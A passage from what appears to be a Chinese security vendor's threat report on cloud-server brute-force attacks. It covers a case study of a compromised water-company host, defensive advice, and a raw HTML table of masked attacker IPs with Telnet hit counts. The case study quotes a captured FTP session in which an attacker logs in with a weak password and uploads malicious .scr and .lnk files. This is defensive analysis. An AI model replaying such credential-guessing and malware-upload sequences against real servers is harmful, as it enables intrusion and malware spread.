7
124.70. *.*
7
7
4 案例分析
在对云服务器密码爆破攻击行为的分析中，一个IP地址为47.92.*.*的云主机引起了我们的兴趣。其特点包括：该IP地址同时提供了某市供排水公司官网服务；该IP地址对外发起了大量攻击；该IP地址可能存在公民信息泄漏隐患。
该网站可能存储了大量的公民个人身份信息和水费账户信息。考虑到黑客入侵后可能获得了系统全部权限，上述公民信息有泄漏隐患。
这个IP在10月份有2天较为活跃，分别是在10月1日和28日，活跃时间主要在北京时间晚上20~24点（图中为UTC时间，北京时间需要+8小时）。
该IP主要访问21和2121的FTP端口，以及一些接近60000的高端口，其中21和2121端口的Payload是FTP的控制命令，高端口的Payload是样本文件的数据。该IP在21和2121端口上进行FTP服务器弱密码爆破，爆破成功后在被动模式下通过接近60000的随机端口上传Photo.scr、AV.scr和Video.lnk三个文件。
以下是其中一条FTP暴力破解的控制Payload，可以看出从密码爆破到发送恶意文件的完整攻击过程：
USER admin
PASS 123qwe!@#
PWD
CWD /
PASV
STOR //Photo.scr
PASV
PASV
STOR //AV.scr
PASV
PASV
STOR //Video.lnk
PASV
TYPE A
PASV
5 防护建议
对上述典型案例中涉及的IP地址，我们建议其域名拥有者与平台提供者协商，同时雇佣第三方独立安全公司对其网站安全做全面审计。如有必要，可以考虑将公民隐私相关信息的存储位置，放置在更加远离公网访问界面的位置。
6 联系我们
感兴趣的读者，可以通过邮箱chenrugang[at]360.cn联系我们。
| {"version":"0.3.1","atoms":[],"cards":[["image",{"src":"__GHOST_URL__/content/images/2021/11/1.png"}],["image",{"src":"__GHOST_URL__/content/images/2021/11/2.png"}],["image",{"src":"__GHOST_URL__/content/images/2021/11/---IP----202110.png","cardWidth":""}],["html",{"html":"<div align=\"center\">\n\n<table class=\"MsoTable15Grid4Accent3\" border=\"1\" cellspacing=\"0\" cellpadding=\"0\" width=\"0\" style=\"width:286.6pt;border-collapse:collapse;border:none;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n mso-yfti-tbllook:1184;mso-padding-alt:0cm 5.4pt 0cm 5.4pt\">\n <tbody><tr style=\"mso-yfti-irow:-1;mso-yfti-firstrow:yes;mso-yfti-lastfirstrow:yes;\n height:11.35pt\">\n <td width=\"129\" nowrap=\"\" valign=\"top\" style=\"width:96.6pt;border:solid #A5A5A5 1.0pt;\n mso-border-themecolor:accent3;border-right:none;mso-border-top-alt:solid #A5A5A5 .5pt;\n mso-border-top-themecolor:accent3;mso-border-left-alt:solid #A5A5A5 .5pt;\n mso-border-left-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;\n mso-border-bottom-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:\n accent3;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:5\"><b><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;\n color:white;mso-themecolor:background1;mso-font-kerning:0pt\">IP</span></b><b><span style=\"mso-bidi-font-size:12.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:white;mso-themecolor:background1;\n mso-font-kerning:0pt\">地址</span></b><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;color:white;mso-themecolor:background1;mso-font-kerning:0pt;\n mso-bidi-font-weight:bold\"><o:p></o:p></span></p>\n </td>\n <td width=\"195\" nowrap=\"\" valign=\"top\" style=\"width:146.2pt;border-top:solid #A5A5A5 1.0pt;\n mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;\n mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:\n solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:\n solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;\n mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:1\"><b><span style=\"mso-bidi-font-size:12.0pt;font-family:宋体;\n mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";\n color:white;mso-themecolor:background1;mso-font-kerning:0pt\">协议</span></b><b><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;\n mso-font-kerning:0pt\">/</span></b><b><span style=\"mso-bidi-font-size:12.0pt;\n font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:\n "Times New Roman";color:white;mso-themecolor:background1;mso-font-kerning:\n 0pt\">端口</span></b><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;\n color:white;mso-themecolor:background1;mso-font-kerning:0pt;mso-bidi-font-weight:\n bold\"><o:p></o:p></span></p>\n </td>\n <td width=\"58\" nowrap=\"\" valign=\"top\" style=\"width:43.8pt;border:solid #A5A5A5 1.0pt;\n mso-border-themecolor:accent3;border-left:none;mso-border-top-alt:solid #A5A5A5 .5pt;\n mso-border-top-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;\n mso-border-bottom-themecolor:accent3;mso-border-right-alt:solid #A5A5A5 .5pt;\n mso-border-right-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:\n accent3;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:1\"><b><span style=\"mso-bidi-font-size:12.0pt;font-family:宋体;\n mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";\n color:white;mso-themecolor:background1;mso-font-kerning:0pt\">次数</span></b><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;\n mso-font-kerning:0pt;mso-bidi-font-weight:bold\"><o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:0;height:11.35pt\">\n <td width=\"129\" nowrap=\"\" style=\"width:96.6pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:68\"><b><span lang=\"EN-US\">143.198.*.*<o:p></o:p></span></b></p>\n </div>\n </td>\n <td width=\"195\" nowrap=\"\" style=\"width:146.2pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <div>\n <p class=\"MsoNormal\" style=\"mso-yfti-cnfc:64\"><span lang=\"EN-US\">Telnet/TCP23</span></p>\n </div>\n </td>\n <td width=\"58\" nowrap=\"\" style=\"width:43.8pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">80,714</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:1;height:11.35pt\">\n <td width=\"129\" nowrap=\"\" style=\"width:96.6pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:4\"><b><span lang=\"EN-US\">35.204.*.*<o:p></o:p></span></b></p>\n </div>\n </td>\n <td width=\"195\" nowrap=\"\" style=\"width:146.2pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <p class=\"MsoNormal\"><span lang=\"EN-US\">Telnet/TCP23, TCP2323</span></p>\n </td>\n <td width=\"58\" nowrap=\"\" style=\"width:43.8pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">19,466</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:2;height:11.35pt\">\n <td width=\"129\" nowrap=\"\" style=\"width:96.6pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:68\"><b><span lang=\"EN-US\">137.184. *.*<o:p></o:p></span></b></p>\n </div>\n </td>\n <td width=\"195\" nowrap=\"\" style=\"width:146.2pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <p class=\"MsoNormal\" style=\"mso-yfti-cnfc:64\"><span lang=\"EN-US\">Telnet/TCP23,\n TCP2323</span></p>\n </td>\n <td width=\"58\" nowrap=\"\" style=\"width:43.8pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">16,709</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:3;height:11.35pt\">\n <td width=\"129\" nowrap=\"\" style=\"width:96.6pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><b><span lang=\"EN-US\">161.35. *.*</span></b><b><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;font-family:宋体;mso-bidi-font-family:宋体\"><o:p></o:p></span></b></p>\n </div>\n </td>\n <td width=\"195\" nowrap=\"\" style=\"width:146.2pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <p class=\"MsoNormal\"><span lang=\"EN-US\">Telnet/TCP23</span></p>\n </td>\n <td width=\"58\" nowrap=\"\" style=\"width:43.8pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">7,461</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:4;height:11.35pt\">\n <td width=\"129\" nowrap=\"\" style=\"width:96.6pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:68\"><b><span lang=\"EN-US\">139.162. *.*<o:p></o:p></span></b></p>\n </div>\n </td>\n <td width=\"195\" nowrap=\"\" style=\"width:146.2pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <p class=\"MsoNormal\" style=\"mso-yfti-cnfc:64\"><span lang=\"EN-US\">Telnet/TCP23,\n TCP2323</span></p>\n </td>\n <td width=\"58\" nowrap=\"\" style=\"width:43.8pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">7,340</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:5;height:11.35pt\">\n <td width=\"129\" nowrap=\"\" style=\"width:96.6pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:4\"><b><span lang=\"EN-US\">192.81. *.*<o:p></o:p></span></b></p>\n </div>\n </td>\n <td width=\"195\" nowrap=\"\" style=\"width:146.2pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <p class=\"MsoNormal\"><span lang=\"EN-US\">Telnet/TCP23, TCP2323</span></p>\n </td>\n <td width=\"58\" nowrap=\"\" style=\"width:43.8pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">5,138</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:6;height:11.35pt\">\n <td width=\"129\" nowrap=\"\" style=\"width:96.6pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:68\"><b><span lang=\"EN-US\">167.99. *.*</span></b><b><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;font-family:宋体;mso-bidi-font-family:宋体\"><o:p></o:p></span></b></p>\n </div>\n </td>\n <td width=\"195\" nowrap=\"\" style=\"width:146.2pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <p class=\"MsoNormal\" style=\"mso-yfti-cnfc:64\"><span lang=\"EN-US\">Telnet/TCP23</span></p>\n </td>\n <td width=\"58\" nowrap=\"\" style=\"width:43.8pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">5,123</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:7;height:11.35pt\">\n <td width=\"129\" nowrap=\"\" style=\"width:96.6pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:4\"><b><span lang=\"EN-US\">143.198. *.*<o:p></o:p></span></b></p>\n </div>\n </td>\n <td width=\"195\" nowrap=\"\" style=\"width:146.2pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <p class=\"MsoNormal\"><span lang=\"EN-US\">Telnet/TCP23, TCP2323</span></p>\n </td>\n <td width=\"58\" nowrap=\"\" style=\"width:43.8pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">4,633</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:8;height:11.35pt\">\n <td width=\"129\" nowrap=\"\" style=\"width:96.6pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:68\"><b><span lang=\"EN-US\">174.138. *.*<o:p></o:p></span></b></p>\n </div>\n </td>\n <td width=\"195\" nowrap=\"\" style=\"width:146.2pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <p class=\"MsoNormal\" style=\"mso-yfti-cnfc:64\"><span lang=\"EN-US\">Telnet/TCP23,\n TCP2323</span></p>\n </td>\n <td width=\"58\" nowrap=\"\" style=\"width:43.8pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">4,553</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:9;mso-yfti-lastrow:yes;height:11.35pt\">\n <td width=\"129\" nowrap=\"\" style=\"width:96.6pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:4\"><b><span lang=\"EN-US\">137.184. *.*<o:p></o:p></span></b></p>\n </div>\n </td>\n <td width=\"195\" nowrap=\"\" style=\"width:146.2pt;border-top:none;border-left:none;\n border-bottom:solid 